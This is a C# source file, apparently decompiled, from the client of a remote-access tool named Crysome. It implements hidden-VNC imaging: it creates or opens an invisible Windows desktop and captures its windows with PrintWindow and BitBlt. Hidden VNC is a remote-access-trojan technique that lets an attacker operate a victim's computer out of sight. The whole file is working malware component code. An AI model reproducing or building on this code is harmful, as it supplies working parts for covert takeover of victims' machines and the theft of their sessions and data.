using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.Runtime.InteropServices;

namespace Crysome.Client.Hvnc;

internal sealed class HvncImagingHandler : IDisposable
{
	private struct RECT
	{
		public int Left;

		public int Top;

		public int Right;

		public int Bottom;
	}

	private const uint DESKTOP_GENERIC_ALL = 511u;

	private const uint GW_HWNDLAST = 1u;

	private const uint GW_HWNDPREV = 3u;

	private const int VERTRES = 10;

	private const int DESKTOPVERTRES = 117;

	private const uint SRCCOPY = 13369376u;

	public IntPtr Desktop { get; }

	[DllImport("user32.dll", SetLastError = true)]
	private static extern IntPtr GetDC(IntPtr hWnd);

	[DllImport("user32.dll", SetLastError = true)]
	private static extern bool SetThreadDesktop(IntPtr hDesktop);

	[DllImport("user32.dll", SetLastError = true)]
	private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);

	[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
	private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);

	[DllImport("user32.dll")]
	private static extern IntPtr GetDesktopWindow();

	[DllImport("user32.dll", SetLastError = true)]
	private static extern bool GetWindowRect(IntPtr hwnd, out RECT lpRect);

	[DllImport("user32.dll")]
	private static extern bool IsWindowVisible(IntPtr hWnd);

	[DllImport("user32.dll", SetLastError = true)]
	private static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags);

	[DllImport("user32.dll", SetLastError = true)]
	private static extern IntPtr GetWindow(IntPtr hWnd, uint uCmd);

	[DllImport("user32.dll")]
	private static extern IntPtr GetTopWindow(IntPtr hWnd);

	[DllImport("user32.dll")]
	private static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC);

	[DllImport("user32.dll", SetLastError = true)]
	private static extern IntPtr GetWindowDC(IntPtr hWnd);

	[DllImport("gdi32.dll")]
	private static extern IntPtr CreateCompatibleDC(IntPtr hdc);

	[DllImport("gdi32.dll")]
	private static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int nWidth, int nHeight);

	[DllImport("gdi32.dll")]
	private static extern IntPtr SelectObject(IntPtr hdc, IntPtr hgdiobj);

	[DllImport("gdi32.dll")]
	private static extern bool DeleteObject(IntPtr hObject);

	[DllImport("gdi32.dll")]
	private static extern bool DeleteDC(IntPtr hdc);

	[DllImport("gdi32.dll")]
	private static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, uint dwRop);

	[DllImport("user32.dll", SetLastError = true)]
	private static extern bool CloseDesktop(IntPtr hDesktop);

	[DllImport("gdi32.dll")]
	private static extern int GetDeviceCaps(IntPtr hdc, int nIndex);

	public HvncImagingHandler(string desktopName)
	{
		IntPtr intPtr = OpenDesktop(desktopName, 0, fInherit: true, 511u);
		if (intPtr == IntPtr.Zero)
		{
			intPtr = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, 511u, IntPtr.Zero);
		}
		Desktop = intPtr;
	}

	private static float GetScalingFactor()
	{
		using Graphics graphics = Graphics.FromHwnd(IntPtr.Zero);
		IntPtr hdc = graphics.GetHdc();
		int deviceCaps = GetDeviceCaps(hdc, 10);
		int deviceCaps2 = GetDeviceCaps(hdc, 117);
		graphics.ReleaseHdc(hdc);
		return (deviceCaps > 0) ? ((float)deviceCaps2 / (float)deviceCaps) : 1f;
	}

	private static bool IsMostlyBlack(Bitmap bmp)
	{
		if (bmp == null || bmp.Width == 0 || bmp.Height == 0)
		{
			return true;
		}
		int num = Math.Max(1, bmp.Width / 20);
		int num2 = Math.Max(1, bmp.Height / 20);
		int num3 = 0;
		int num4 = 0;
		BitmapData bitmapData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb);
		try
		{
			int stride = bitmapData.Stride;
			IntPtr scan = bitmapData.Scan0;
			for (int i = 0; i < bmp.Height; i += num2)
			{
				for (int j = 0; j < bmp.Width; j += num)
				{
					int num5 = i * stride + j * 4;
					byte b = Marshal.ReadByte(scan, num5);
					byte b2 = Marshal.ReadByte(scan, num5 + 1);
					byte num6 = Marshal.ReadByte(scan, num5 + 2);
					num3++;
					if (num6 < 20 && b2 < 20 && b < 20)
					{
						num4++;
					}
				}
			}
		}
		finally
		{
			bmp.UnlockBits(bitmapData);
		}
		if (num3 > 0)
		{
			return num4 * 100 / num3 > 80;
		}
		return false;
	}

	private bool DrawWindowBitBlt(IntPtr hWnd, Graphics g, IntPtr dc, RECT r, float scale)
	{
		int num = (int)((float)(r.Right - r.Left) * scale);
		int num2 = (int)((float)(r.Bottom - r.Top) * scale);
		if (num <= 0 || num2 <= 0)
		{
			return false;
		}
		IntPtr windowDC = GetWindowDC(hWnd);
		if (windowDC == IntPtr.Zero)
		{
			return false;
		}
		IntPtr intPtr = CreateCompatibleDC(dc);
		IntPtr intPtr2 = CreateCompatibleBitmap(dc, num, num2);
		IntPtr hgdiobj = SelectObject(intPtr, intPtr2);
		bool flag = BitBlt(intPtr, 0, 0, num, num2, windowDC, 0, 0, 13369376u);
		SelectObject(intPtr, hgdiobj);
		if (flag)
		{
			try
			{
				using Bitmap image = Image.FromHbitmap(intPtr2);
				g.DrawImage(image, r.Left, r.Top);
			}
			catch
			{
				flag = false;
			}
		}
		DeleteObject(intPtr2);
		DeleteDC(intPtr);
		ReleaseDC(hWnd, windowDC);
		return flag;
	}

	private bool DrawWindow(IntPtr hWnd, Graphics g, IntPtr dc)
	{
		if (!GetWindowRect(hWnd, out var lpRect))
		{
			return false;
		}
		float scalingFactor = GetScalingFactor();
		int num = (int)((float)(lpRect.Right - lpRect.Left) * scalingFactor);
		int num2 = (int)((float)(lpRect.Bottom - lpRect.Top) * scalingFactor);
		if (num <= 0 || num2 <= 0)
		{
			return false;
		}
		IntPtr intPtr = CreateCompatibleDC(dc);
		IntPtr intPtr2 = CreateCompatibleBitmap(dc, num, num2);
		SelectObject(intPtr, intPtr2);
		if (PrintWindow(hWnd, intPtr, 2u))
		{
			try
			{
				using Bitmap original = Image.FromHbitmap(intPtr2);
				using Bitmap bitmap = new Bitmap(original);
				if (!IsMostlyBlack(bitmap))
				{
					g.DrawImage(bitmap, lpRect.Left, lpRect.Top);
					DeleteObject(intPtr2);
					DeleteDC(intPtr);
					return true;
				}
			}
			catch
			{
			}
		}
		DeleteObject(intPtr2);
		DeleteDC(intPtr);
		return DrawWindowBitBlt(hWnd, g, dc, lpRect, scalingFactor);
	}

	private void DrawTopDown(IntPtr owner, Graphics g, IntPtr dc)
	{
		IntPtr topWindow = GetTopWindow(owner);
		if (topWindow == IntPtr.Zero)
		{
			return;
		}
		topWindow = GetWindow(topWindow, 1u);
		while (topWindow != IntPtr.Zero)
		{
			if (IsWindowVisible(topWindow))
			{
				DrawWindow(topWindow, g, dc);
			}
			topWindow = GetWindow(topWindow, 3u);
		}
	}

	public Bitmap Screenshot()
	{
		if (Desktop == IntPtr.Zero)
		{
			return null;
		}
		SetThreadDesktop(Desktop);
		IntPtr dC = GetDC(IntPtr.Zero);
		if (dC == IntPtr.Zero)
		{
			return null;
		}
		if (!GetWindowRect(GetDesktopWindow(), out var lpRect))
		{
			ReleaseDC(IntPtr.Zero, dC);
			return null;
		}
		float scalingFactor = GetScalingFactor();
		int num = (int)((float)lpRect.Right * scalingFactor);
		int num2 = (int)((float)lpRect.Bottom * scalingFactor);
		if (num <= 0 || num2 <= 0)
		{
			ReleaseDC(IntPtr.Zero, dC);
			return null;
		}
		Bitmap bitmap = new Bitmap(num, num2);
		using (Graphics g = Graphics.FromImage(bitmap))
		{
			DrawTopDown(IntPtr.Zero, g, dC);
		}
		ReleaseDC(IntPtr.Zero, dC);
		return bitmap;
	}

	public void Dispose()
	{
		if (Desktop != IntPtr.Zero)
		{
			CloseDesktop(Desktop);
		}
	}
}
